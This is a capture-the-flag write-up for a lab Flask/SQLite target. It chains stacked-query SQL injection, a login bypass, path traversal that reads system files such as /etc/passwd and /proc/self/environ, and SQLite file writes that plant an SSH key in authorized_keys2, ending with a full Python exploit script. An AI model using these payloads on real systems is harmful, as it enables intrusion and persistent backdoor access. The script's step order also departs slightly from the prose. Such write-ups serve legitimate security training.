Boot2Root CTF Writeup — squeaky-clean.cfire

Challenge: Boot2Root (Step 1: Initial Access) Target: http://squeaky-clean.cfire Date: 2026-03-04

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Overview

A Flask web application running SQLite. The attack chain to initial shell access is:

1. SQL Injection via executescript() → login bypass
2. Path Traversal via ?file= → information gathering
3. SQLite VACUUM INTO + ATTACH DATABASE → arbitrary file write
4. SSH key injection into authorized_keys2 → shell as user

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I noticed an SQL injection in the login-form (blackbox testing)

Vulnerability 1 — SQL Injection via executescript()

query = f"""
SELECT * FROM users
WHERE username = '{username}'
AND password = '{password}';
"""
cursor.executescript(query)   # runs arbitrary multi-statement SQL

cursor.executescript() accepts multiple semicolon-separated statements. This is the primary write primitive — any SQL statement can be injected, including ATTACH DATABASE, CREATE TABLE, INSERT, and VACUUM INTO.

Login bypass payload:

username: admin
password: 'OR''='

Vulnerability 2 — Path Traversal on /dashboard

file_to_read = "./" + request.args.get("file")
with open(file_to_read, "r") as f:
    content += "<pre>" + f.read() + "</pre>"

No sanitisation on the file parameter. Accessible after logging in via the SQLi bypass.

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Information Gathering (Path Traversal)

After logging in with the SQLi bypass, the following files were read via GET /dashboard?file=<path>:

• /etc/passwd User user (uid 1000) exists, SSH daemon running
• /proc/self/environ App runs as user, CWD is /home/user/app
• /home/user/.ssh/authorized_keys Contains one existing ed25519 key (admin@private-desktop)
• /etc/ssh/sshd_config | Include /etc/ssh/sshd_config.d/*.conf; AuthorizedKeysFile line is commented out (defaults to .ssh/authorized_keys)
• /home/user/app/templates/login.html Confirms templates directory path
• /home/user/app/admin_login.log Confirms app writes files to /home/user/app/

Key observations:

• No private key readable (id_rsa does not exist)
• templates/ directory is readable but not writable by the app process
• /home/user/app/ and /tmp/ are writable (confirmed by ATTACH succeeding)
• /home/user/.ssh/ is writable
• The sshd AuthorizedKeysFile default on Debian includes .ssh/authorized_keys2 (legacy fallback, still active)

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Exploitation

Attempt 1 — SSTI via ATTACH DATABASE to login.html

Initial plan: ATTACH to templates/login.html, insert a Jinja2 SSTI payload, trigger rendering.

Failed because login.html already exists as valid HTML. SQLite's ATTACH DATABASE refuses to open a non-SQLite file:

SQL Error: file is not a database

Attempt 2 — VACUUM INTO login.html

VACUUM INTO 'path' creates a fresh SQLite DB at path. Unlike ATTACH, it is designed to write a new file. However, if the destination file already exists, most SQLite builds (3.27+) refuse with:

SQL Error: file is not a database

The templates/ directory also turned out to not be writable via absolute path, making this path dead.

Successful Path — SSH Key Injection via VACUUM INTO + ATTACH

Since .ssh/ is writable and authorized_keys2 did not exist, VACUUM INTO succeeds on a new path:

Step 1: Create a valid SQLite DB at authorized_keys2

SQL injected via the password field:

'; VACUUM INTO '/home/user/.ssh/authorized_keys2';--

This creates a fresh SQLite DB at /home/user/.ssh/authorized_keys2.

Step 2: ATTACH to the new SQLite file and insert the public key

authorized_keys2 is now a valid SQLite DB, so ATTACH works:

'; ATTACH DATABASE '/home/user/.ssh/authorized_keys2' AS k;
CREATE TABLE IF NOT EXISTS k.t (c TEXT);
DELETE FROM k.t;
INSERT INTO k.t (c) VALUES (char(10)||'ssh-ed25519 AAAA...key...'||char(10));--

The char(10) prefix/suffix because it works as a newline

Step 3: SSH in

ssh-keygen -t ed25519 -f /tmp/ctf_key -N ""
# inject /tmp/ctf_key.pub via the pyhton script later in this writeup
ssh -i /tmp/ctf_key user@squeaky-clean.cfire

Shell obtained as user.

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Why authorized_keys2 Works

Despite the AuthorizedKeysFile line in sshd_config being commented out, Debian's compiled-in default for OpenSSH is:

AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2

This is a legacy fallback that sshd still checks when no explicit override is configured. The comment in sshd_config even warns: "Expect .ssh/authorized_keys2 to be disregarded by default in future." — meaning it still works now.

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Summary

- SQL Injection (executescript)
- Login bypass ('OR''=')
- Path Traversal (?file=) → enumerate files, confirm .ssh/ writable
- VACUUM INTO /home/user/.ssh/authorized_keys2   (new SQLite DB)
- ATTACH DATABASE authorized_keys2
- INSERT public key with char(10) newlines
- ssh -i ctf_key user@target

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Script

import requests


BASE = "http://squeaky-clean.cfire"
password = "'OR''='"
SSH_AUTH_KEYS = "/home/user/.ssh/authorized_keys"
MY_PUBKEY = "PUBLIC_KEY"  # e.g. ssh-ed25519 AAAA... you@host

def _attach_and_insert_key(s, path=None):
    if path is None:
        path = SSH_AUTH_KEYS
    attach = (
        f"'; ATTACH DATABASE '{path}' AS k; "
        "CREATE TABLE IF NOT EXISTS k.t (c TEXT); "
        "DELETE FROM k.t; "
        f"INSERT INTO k.t (c) VALUES (char(10)||'{MY_PUBKEY}'||char(10));--"
    )
    r = s.post(BASE + "/", data={"username": "admin", "password": attach})
    if "SQL Error" not in r.text:
        print(f"Key inserted into {path}")
        print(f"Use:  ssh -i /tmp/ctf_key user@squeaky-clean.cfire")
    else:
        print(f"attack failed: {r.text[10:150]}")

def ssh_key_inject():
    s = requests.Session()
    s.post(BASE + "/", data={"username": "admin", "password": password})

    ak2 = "/home/user/.ssh/authorized_keys2"
    print(f"\nRe-injecting key into {ak2} with newline fix...")
    _attach_and_insert_key(s, path=ak2)

    vac = f"'; VACUUM INTO '{SSH_AUTH_KEYS}';--"
    r = s.post(BASE + "/", data={"username": "admin", "password": vac})
    if "SQL Error" not in r.text:
        print("VACUUM INTO authorized_keys succeeded!")
        _attach_and_insert_key(s, path=SSH_AUTH_KEYS)
    else:
        print(f"exploit might have failed.. or not {r.text}")
        print("try ssh -i /tmp/ctf_key user@squeaky-clean.cfire")


if __name__ == "__main__":
    ssh_key_inject()

python3 request.py
ssh -i /tmp/ctf_key user@squeaky-clean.cfire